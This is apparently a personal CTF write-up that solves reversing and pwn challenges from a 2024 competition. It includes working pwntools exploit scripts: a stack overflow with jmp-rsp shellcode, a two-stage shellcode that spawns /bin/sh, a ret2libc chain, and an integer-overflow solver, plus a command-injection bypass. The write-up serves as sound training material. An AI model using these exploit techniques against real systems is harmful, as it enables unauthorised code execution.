➜ ~

Playing Hacks and Stuffs!


Project maintained by h4ckyou Hosted on GitHub Pages — Theme by mattgraham

New Jersey 2024 CTF

It was fun and I only focused on solving the Binary Exploitation & Reverse Engineering challenges. I played with THE TOMATO DUDES

image

Challenges Solved:

Out of this I was able to do 8/9 from this category image

So let’s start…

Humble Beginning

image

So our goal is to find the crypto wallet address

After downloading the executable I loaded it up in IDA and generated the pseudocode

Here’s the main function image

At this line:

sub_140001010(v4, "mxnhCEkuBogW3E7XAEzNmaq6eZqW3zgEuu");

It’s calling function sub_140001010 passing v4 which is the first argument we pass to the executable as the first parameter and some weird string as the second parameter

Using that as the address worked

Flag: jctf{mxnhCEkuBogW3E7XAEzNmaq6eZqW3zgEuu}

Password Manager

image

After downloading the binary I checked the file type image

So we’re working with a x64 binary which is statiscally linked and not stripped

I ran it to get an overview of what it does image

Looks like a custom flag checker

Loading the binary up in Ghidra here’s the main function image

undefined8 main(int argc,char **argv)

{
  int fp;
  undefined8 ret;
  long in_FS_OFFSET;
  int i;
  char enc [19];
  byte result [19];
  undefined local_15;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  enc[0] = 'O';
  enc[1] = 'F';
  enc[2] = 'Q';
  enc[3] = 'C';
  enc[4] = '^';
  enc[5] = 'R';
  enc[6] = 'M';
  enc[7] = '\x16';
  enc[8] = 'W';
  enc[9] = '\x16';
  enc[10] = 'V';
  enc[11] = 'z';
  enc[12] = 'H';
  enc[13] = 'e';
  enc[14] = '\\';
  enc[15] = 'e';
  enc[16] = '\x1a';
  enc[17] = 'X';
  if (argc == 2) {
    for (i = 0; i < 0x12; i = i + 1) {
      result[i] = enc[i] ^ 0x25;
    }
    local_15 = 0;
    fp = strncmp((char *)result,argv[1],0x12);
    if (fp == 0) {
      puts("That\'s the password!");
      ret = 0;
    }
    else {
      puts("That\'s not the password.");
      ret = 1;
    }
  }
  else {
    printf("Usage is %s <FLAG>\n",*argv);
    ret = 1;
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return ret;
}

We can see that it basically xors the enc buffer with key 0x25 and compares it with our input

We can just reimplement this or debug in gdb to get the xored value which should be the flag

But I just choose the former

Here’s the script

enc = [79, 70, 81, 67, 94, 82, 77, 22, 87, 22, 86, 122, 72, 101, 92, 101, 26, 88]
key = 0x25
flag = [i ^ key for i in enc]

print("".join(map(chr, flag)))

Running it gives the flag

image

Flag: jctf{wh3r3s_m@y@?}

Searching-Through-Vines

image

Downloading the attached file shows it’s a C code image

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
        char commandStr[32];
        scanf("%s", commandStr);
        int i;
        const char * bTexts[6] = {"ls", "cat", "cd", "pwd", "less"};
        int bTexts_size = (sizeof(bTexts) - 1) / sizeof(bTexts[0]);
        if (strlen(commandStr) <= 5){
                for(i = 0; i < bTexts_size; i++){
                        if(strstr(commandStr, (char*)(bTexts[i])) != 0){
                                printf("Terminating... a violation occured!\n");
                                exit(1);
                        }
                }
                system(commandStr);
        }
        else{
                printf("Terminating... a violation occured!\n");
                exit(2);
        }
        return 0;
}

Basically we have an array of blacklisted words, it receives our input and makes sure it’s less than or equal to 5 bytes, it then searches for substring of each blacklisted words in our input and while it finds one it would exit else it passes the input to system

So this is sort of direct command injection with some restriction?

That isn’t a big deal because bash itself isn’t blacklisted and many other things

So when we pass that as the input we should then be able to get the flag cause it would spawn a bash shell image

Flag: jctf{nav1gat10n_1s_k3y}

MathTest

image

Downloading the attached C code and viewing it shows this image image

#include <stdio.h>
#include <stdlib.h>

void printflag(){
        FILE *f;
        f = fopen("flag.txt", "r");
        char flag[64];
        fread(flag, sizeof(char), 64, f);
        printf("%s\n", flag);
}

int vuln() {
        printf("Welcome to your Math Test. Perfect Score gets a Flag!\n");
        printf("Enter Name:\n");
        char name[100];
        if(scanf("%s", name) < 1){
                printf("You need a name\n");
                return 0;
        }
        long mult1 = 0x9000;
        long ans1;
        printf("%ld*x < 0. What is x\n", mult1);
        scanf("%ld", &ans1);
        if(ans1 < 0) {
                printf("No Negatives!\n");
                return 0;
        }
        if(mult1*ans1 > 0) {
                printf("Incorrect, try again\n");
                return 0;
        }
        printf("Next Question\n");
        long mult2 = 0xdeadbeef;
        long ans2;
        printf("%ld * y = 0. What is y\n", mult2);
        scanf("%ld", &ans2);
        if(ans2 >= 0) {
                printf("Now Only Negatives!\n");
                return 0;
        }
        if((mult2*ans2) == 0) {
                printf("%ld\n", mult2*ans2);
                printf("Incorrect, try again\n");
                return 0;
        }
        printf("Final Quesiton\n");
        char mult3 = 'O';
        char ans3;
        printf("Good\n");
        printf("%c * z = 'A'. What is z?\n", mult3);
        scanf("\n%c", &ans3);
        if((char)(ans3*mult3) != 'A') {
                printf("Incorrect, try again\n");
                return 0;
        }
        printf("Final Question: ans1 + ans2 + ans3 = name\n");
        long *n = (long *)name;
        if(ans1 + ans2 + ans3 == *n) {
                printf("Congratulations! Here is your flag!!!!\n");
                printflag();
        }
        else {
                printf("If only you had a better name :(\n");
                return 0;
        }
}

int main() {
        setvbuf(stdin, 0, _IONBF, 0);
        setvbuf(stdout, 0, _IONBF, 0);
        setvbuf(stderr, 0, _IONBF, 0);

        vuln();
}

I won’t explain all lines of code but basically we are going to be given 3 set of questions where we are to find a number that satifies the provided equation

The idea in solving it is basically integer overflow

Here are the questions:

long mult1 = 0x9000
long ans1;

- mult1 * ans1 < 0

long mult2 = 0xdeadbeef;
long ans2;

- mult2 * ans2 = 0

char mult3 = 'O';
char ans3;

- ans3 * mult3 == 'A'

After finding ans1, ans2, ans3 the sum must be equal to the name we set when the program starts and that should give us the flag

printf("Enter Name:\n");
char name[100];

scanf("%s", name);

long *n = (long *)name;
if(ans1 + ans2 + ans3 == *n) {
        printf("Congratulations! Here is your flag!!!!\n");
        printflag();

Now where exactly is the integer overflow?

The point where it assigns value to mult1, mult2 the values are integers which is supposed to have been stored as long integers

Since the suffix LL isn’t used then the size would be 4 bytes whereas we are going to multiply the 4 bytes by another long int which in this case we would pass in 8 bytes causing the overflow

I made use of pwntools negate function. The syntax is negate(number,bits_width) image

>>> from pwn import *
>>>
>>> negate(36864, 64)
18446744073709514752
>>>
>>> -(negate(3735928559, 64))
-18446744069973623057

For the last case

char mult3 = 'O';
char ans3;
printf("Good\n");
printf("%c * z = 'A'. What is z?\n", mult3);
scanf("\n%c", &ans3);
if((char)(ans3*mult3) != 'A') {
        printf("Incorrect, try again\n");
        return 0;
}

We see that it stores a character O in mult3 then receives a character as our input which is stored in ans3

It then multiplies both mult3 and ans3 then casts it to char * which is then compared to character A

There’s another integer overflow here because the size of char is 8 bits and when it multiplies both our input with mult3 that becomes larger than the size of a char image

We can see that it’s not possible to just divide ‘A’ with ‘O’ as that would give a float number which we can’t cast as a character

So to solve this part I just wrote a script

Here’s the script


for i in range(0xff+1):
    if chr((i * ord('O')) & 0xff) == 'A':
        print(chr(i))

Running the script gives ‘o’

So at this point we just need to calculate the name which is the sum of the three answers

But we need to solve the ans1 + ans2 + ans3 = (long)name too. Since ans1 becomes -1, ans2 is 0 and ans3 is ‘o’

We can easily get the name:

>>> chr(-1 + 0 + ord('o'))
n

So the name should be ‘n’

Here’s the solve script

from pwn import *

# io = process("./mathtest")
io = remote("18.207.140.246", "9001")

for i in range(0xff+1):
    if chr((i * ord('O')) & 0xff) == 'A':
        ans3 = chr(i)

ans1 = negate(36864, 64)
ans2 = -(negate(3735928559, 64))

sleep(60)

io.sendline('n')
io.sendline(str(ans1))
io.sendline(str(ans2))
io.sendline(str(ans3))

io.interactive()

Running it gives the flag image

Flag: jctf{C4CLULAT0R_US3R}

The Heist 1

image

So this time around our goal is to find the pin

I downloaded the executable, loaded it up in IDA and generated the pseudocode

Here’s the main function image

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rax
  char v4; // al
  char *i; // rcx
  char *v6; // rcx
  char Buffer[16]; // [rsp+20h] [rbp-88h] BYREF
  __int128 v9; // [rsp+30h] [rbp-78h]
  __int128 v10; // [rsp+40h] [rbp-68h]
  __int128 v11; // [rsp+50h] [rbp-58h]
  __int128 v12; // [rsp+60h] [rbp-48h]
  __int128 v13; // [rsp+70h] [rbp-38h]
  int v14; // [rsp+80h] [rbp-28h]

  sub_140001010("Please enter the pin:");
  v14 = 0;
  *(_OWORD *)Buffer = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0LL;
  v3 = _acrt_iob_func(0);
  if ( fgets(Buffer, 100, v3) == Buffer )
  {
    v4 = Buffer[0];
    for ( i = Buffer; *i; v4 = *i )
      *i++ = __ROL1__(~(v4 + 96), 4) ^ 0x55;
    if ( qword_140003038 != *(_QWORD *)Buffer || (v6 = "Success", dword_140003040 != *(_DWORD *)&Buffer[8]) )
      v6 = "Failure";
    sub_140001010(v6);
  }
  return 0;
}

The function sub_140001010 just prints out the word passed as the parameter image

So let’s see what it does:

Looking at the value stored in qword_140003038 shows image

qword_140003038 = 0xE383C3B3232383C3
dword_140003040 = 0xC33E3A3

That’s basically the encrypted pin value

So our goal is to reverse the operation to find the right value to get us that?

To reverse the operation here’s what I did:

Here’s the code I wrote to achieve that

def ror(value, shift):
    return (value >> shift) | (value << (8 - shift)) & 0xff

buffer = [0xE3, 0x83, 0xC3, 0xB3, 0x23, 0x23, 0x83, 0xC3, 0x0C, 0x33, 0xE3, 0xA3]
rev = []

for v4 in buffer:
    r = ror((v4 ^ 0x55), 4)
    r = (~r - 96) & 0xff
    rev.append(r)

print(''.join(map(chr, rev)))

After running it I got this image

42618826
940

We can see that it happened to encounter a newline character which makes this hard because we can’t submit that as the flag

But how do we check the validity of the digit found?

I debugged it in IDA!

First I set a breakpoint here image

cmp  rax, qword ptr [rsp+0A8h+Buffer]

Now I start a new process with the debugger passing the input I got as the pin image

Back at IDA we are at the breakpoint image

And now if we click on the Buffer we would see this image

We can see it’s very identical to the expected buffer char array

buffer = [0xE3, 0x83, 0xC3, 0xB3, 0x23, 0x23, 0x83, 0xC3, 0x0C, 0x33, 0xE3, 0xA3]
result = [0xE3, 0x83, 0xC3, 0xB3, 0x23, 0x23, 0x83, 0xC3, 0xB0, 0x33, 0xE3, 0xA3]

The issue there is at result[8], it isn’t equal to buffer[8]

That’s the character that gives \n when reversed

So what next?

Since I wasn’t able to fully reverse it due to it giving non printable byte I just decided to brute force for values

Basically i will iterate through the length of the buffer then in a nested loop i will iterate through a byte range(0-255) and encrypt each value with the same encryption scheme used by the program then compare the encrypted value with buffer[i]

With that said here’s my final solve script

from pwn import *

def rol(value, shift):
    return ((value << shift) | (value >> (8 - shift))) & 0xFF

def ror(value, shift):
    return (value >> shift) | (value << (8 - shift)) & 0xff

def check(v4):
    r = (v4 + 96) & 0xff
    r = (~r) & 0xff
    r = (rol(r, 4)) & 0xff
    r = (r ^ 0x55) & 0xff
    return bytes([r])

buffer = p64(0xE383C3B3232383C3)
buffer += p64(0x0C33E3A3)

pin = ''

for i in range(len(buffer)):
    for j in range(0xff+1):
        if check(j) == p8(buffer[i]):
            pin += chr(j)
        
print(pin)

Running that gives the pin which worked on the program and also as the flag image

Flag: jctf{62881624049}

Running On Prayers

image

After downloading the binary I checked the file type and protections enabled on it image

We are working with a 64bits binary that’s not stripped and dynamically linked

From the result of checksec we can see that no binary protection are enabled and the stack is rwx(readable-writable-executable)

Loading the binary up in Ghidra here’s the main function image

It just does some setvbuf calls then proceeds to calling the vuln function image

undefined8 vuln(void)

{
  char buffer [32];
  
  printf("The hard part is not finding the vulnerability, but actually doing something with it");
  gets(buffer);
  return 0;
}

So we have relatively simple program here which defines a buffer that can hold up at most 32 bytes then receive our input which is stored to the buffer using gets()

The usage of gets leads to a buffer overflow

Now what do we do with this?

First I decided to get the number of bytes required to overwrite the instruction pointer

We can easily do that with gdb-gef image image

So it’s 40!

Now it’s exploitation time…. I used ropper to get the list of available gadgets and found an interesting one image image

That instruction would basically jump to the current value in the stack pointer

And because we have unbounded overflow our input would basically be on the stack

Remember that the stack is executable that means we can place a shellcode there and then when we jump to it, the shellcode would get executed

Here’s my exploit script

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from warnings import filterwarnings

exe = context.binary = ELF('RunningOnPrayers')
filterwarnings("ignore")
context.log_level = 'info'

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
break *vuln+55
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

def init():
    global io

    io = start()

def solve():
    jmp_rsp = 0x0000000000401231 # jmp rsp; 
    offset = 40

    sc = asm(shellcraft.sh())

    payload = b'A'*offset + p64(jmp_rsp) + sc

    sleep(60)
    io.sendline(payload)

    io.interactive()

def main():
    
    init()
    solve()
    
if __name__ == '__main__':
    main()

Running it works image image

Flag: jctf{Really_Obvious_Problem}

StageLeft

image

After downloading the binary I did the basic file checks image

It’s similar to the previous challenge so I will just go ahead with the reversing

Here’s the main function

image

Since it calls the vuln function let’s take a look at it image


undefined8 vuln(void)

{
  char buffer [32];
  
  printf("Cramped...");
  fgets(buffer,64,stdin);
  return 0;
}

This time around we see that the buffer still can only hold up 32bytes but we are allowed to store at most 64 bytes into the buffer leading to an overflow

I got the offset required to overwrite the rip similarly to how I solved the previous challenge

The offset is 40

So out of 64 bytes we must use up 40 bytes leading to just 24 bytes left

Looking for available gadgets I saw a jmp rsp gadget image

So now we know that we can do shellcode injection again but this time around we have just 16 bytes left because the jmp rsp takes up 8 bytes when packed

What exactly can we achieve with that?

To know that I had to first know the state of the register when the program is about to ret

Set a breakpoint in vuln+62 and start the process image image

My end goal is to call execve('/bin/sh', 0x0, 0x0) but the rsi & rdx register is already populated

But then I noticed that the rcx contains my input from the start

Initial Way I Solved This During The CTF

From noticing that the rcx register contains my input I decided to change the control flow to the rcx register

This is the how I calculated the offset to rcx

Here’s the payload used:

payload = b'A'*offset + p64(jmp_rsp) + b'\x90'*5

I ran my exploit to attach the process to gdb image

After the next instruction after jmp rsp, the rsp & rcx address are:

rsp = 0x7ffe71ee3eb0
rcx = 0x7ffe71ee3e80

So the offset between the rsp and rcx is: 0x7ffe71ee3eb0 - 0x7ffe71ee3e80 = 0x30

We can also see that r9 register is null

I used that to calculate the address to rcx then call rcx

Here’s the assembly code to achieve that:

mov r9, rsp
sub r9, 0x30
call r9

Now the shellcode I wrote which is going to be executed basically just moves /bin/sh to the .data section of the binary then calls execve('/bin/sh', 0x0, 0x0)

xor esi, esi
mov rdi, 0x68732f2f6e69622f
mov [0x404030], rdi
mov rcx, rsp
mov rdi, 0x404030
mov al, 0x3b
cdq
syscall

With that starting as the input and filling the remaining unused space with nop slide the program should jump to that therefore spawning a shell

Here’s the final solve script

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from warnings import filterwarnings

# Set up pwntools for the correct architecture
exe = context.binary = ELF('StageLeft')

filterwarnings("ignore")
context.log_level = 'info'

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
break *vuln+62
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

def init():
    global io

    io = start()

def solve():
    jmp_rsp = 0x0000000000401238 # jmp rsp; 
    offset = 40

    spw = asm("""
        xor esi, esi
        mov rdi, 0x68732f2f6e69622f
        mov [0x404030], rdi
        mov rcx, rsp
        mov rdi, 0x404030
        mov al, 0x3b
        cdq
        syscall           
    """)

    sc = asm("""
        mov r9, rsp
        sub r9, 0x30
        call r9
    """)

    payload = spw + b'\x90'*(offset-len(spw)) + p64(jmp_rsp) + sc

    sleep(60)
    io.sendline(payload)

    io.interactive()

def main():
    
    init()
    solve()
    
if __name__ == '__main__':
    main()

Running it works image

Alternate Way Of Solving This

Just like I just did previously from looking at the state of the registers before it ret I noticed that the rax was 0 image

Because we don’t have much space to run a larger shellcode we can potentially perform a two staged shellcode which would read in a shellcode of larger size and execute it

From the syscall table, read_syscall requires the rax to be 0 image

In this case rax is already set to 0

This is the requires argument needed for read()

rdi:- file descriptor
rsi:- buffer to store input
rdx:- size of input

We need rdi to be 0x0 because it signifies stdin

How do we set that?

Let’s say we just use the “normal” mov instruction we get this! image

Using that shows it takes lot of space because the length is 7 and we have just 16 bytes left

We need to find a better way of setting rdi to 0x0

Moving between two registers is just of length 3

image

Ok that’s better but if there any way to use lesser bytes than that?

So far I was able to limit that to just 2 bytes by using a push & pop instruction image

Now the next thing is to store the buffer where our input will be stored to rsi.

At first I just subtracted the current value of rsp after the jmp rsp instruction with 0x300 because i wanted to store the second stage shellcode in an address that has no value residing in it

But then after I worked around with that I saw that I used up more than the size limit so I just decided to write to the current rsp image

Next thing is the size which is rdx, fortunately we don’t need to set it because when fgets was called rdx was set to stdin meaning whatever byte we feed in during that call the length of the input will be saved in rdx

So next thing is to trigger a syscall and finally execute the second stage shellcode image

The full shellcode is this:

push rax
pop rdi
mov rsi, rsp
syscall
call rsi

The length is 9 which is less than the length limit

At this point we can go on ahead by sending the second staged shellcode as a call to execve() which should spawn a shell…

But that doesn’t work! image image

After I looked at the debugger I saw it was trying to execute a wrong instruction so I just added nop slides which fixed the issue

Here’s the second script

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from warnings import filterwarnings

# Set up pwntools for the correct architecture
exe = context.binary = ELF('StageLeft')

filterwarnings("ignore")
context.log_level = 'info'

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
break *vuln+62
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

def init():
    global io

    io = start()

def solve():
    jmp_rsp = 0x0000000000401238 # jmp rsp; 
    offset = 40

    sc = asm("""
        push rax
        pop rdi
        mov rsi, rsp
        syscall
        call rsi
    """)

    stg2 = asm("nop") * 5 + asm("""
        xor esi, esi
        mov rdi, 0x68732f2f6e69622f
        mov [0x404030], rdi
        mov rcx, rsp
        mov rdi, 0x404030
        mov rsi, 0x0
        mov al, 0x3b
        cdq
        syscall
    """) + asm("nop") * 0x20

    payload = flat({
        offset: [
            jmp_rsp,
            sc
        ]
    })


    sleep(60)
    io.sendline(payload)
    io.sendline(stg2)

    io.interactive()

def main():
    
    init()
    solve()
    
if __name__ == '__main__':
    main()

Running it works! image

Flag: jctf{Center_Of_Attention}

Postage

This is just a standard ret2libc technique where pie is enabled and we have unbounded buffer overflow image

It implements radix sorting algorithm but that’s not even important so we can just ignore it and go ahead with the exploitation image

With that said it’s then pretty trivial

Here’s my solve script

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from warnings import filterwarnings

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./postage')
libc = exe.libc

filterwarnings("ignore")
context.log_level = 'info'

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

def init():
    global io

    io = start()

def solve():
    offset = 56
    
    io.recvuntil('\nWelcome to  ')
    leak = int(io.recvline(), 16)
    exe.address = leak - exe.sym['vuln']

    pop_rdi = exe.address + 0x0000000000001356 # pop rdi ; pop rbp ; ret

    payload = flat({
        offset: [
            pop_rdi,
            exe.got['puts'],
            b'A'*8,
            exe.plt['puts'],
            exe.sym['main']+8
        ]
    })
    
    sleep(60)
    io.sendline('pwner')
    io.sendline(payload)

    io.recvuntil('questions?\n')
    leak = u64(io.recv(6).ljust(8, b'\x00'))
    libc.address = leak - libc.sym['puts']

    sh = next(libc.search(b'/bin/sh\x00'))
    system = libc.sym['system']
    ret = exe.address + 0x000000000000101a # ret

    payload = flat({
        offset: [
            pop_rdi,
            sh,
            b'A'*8,
            system
        ]
    })

    io.sendline('pwner')
    io.sendline(payload)

    io.interactive()


def main():
    
    init()
    solve()

if __name__ == '__main__':
    main()

Running it works! image

Flag: jctf{Return_to_Sender}

That’s all….thanks for reading 😜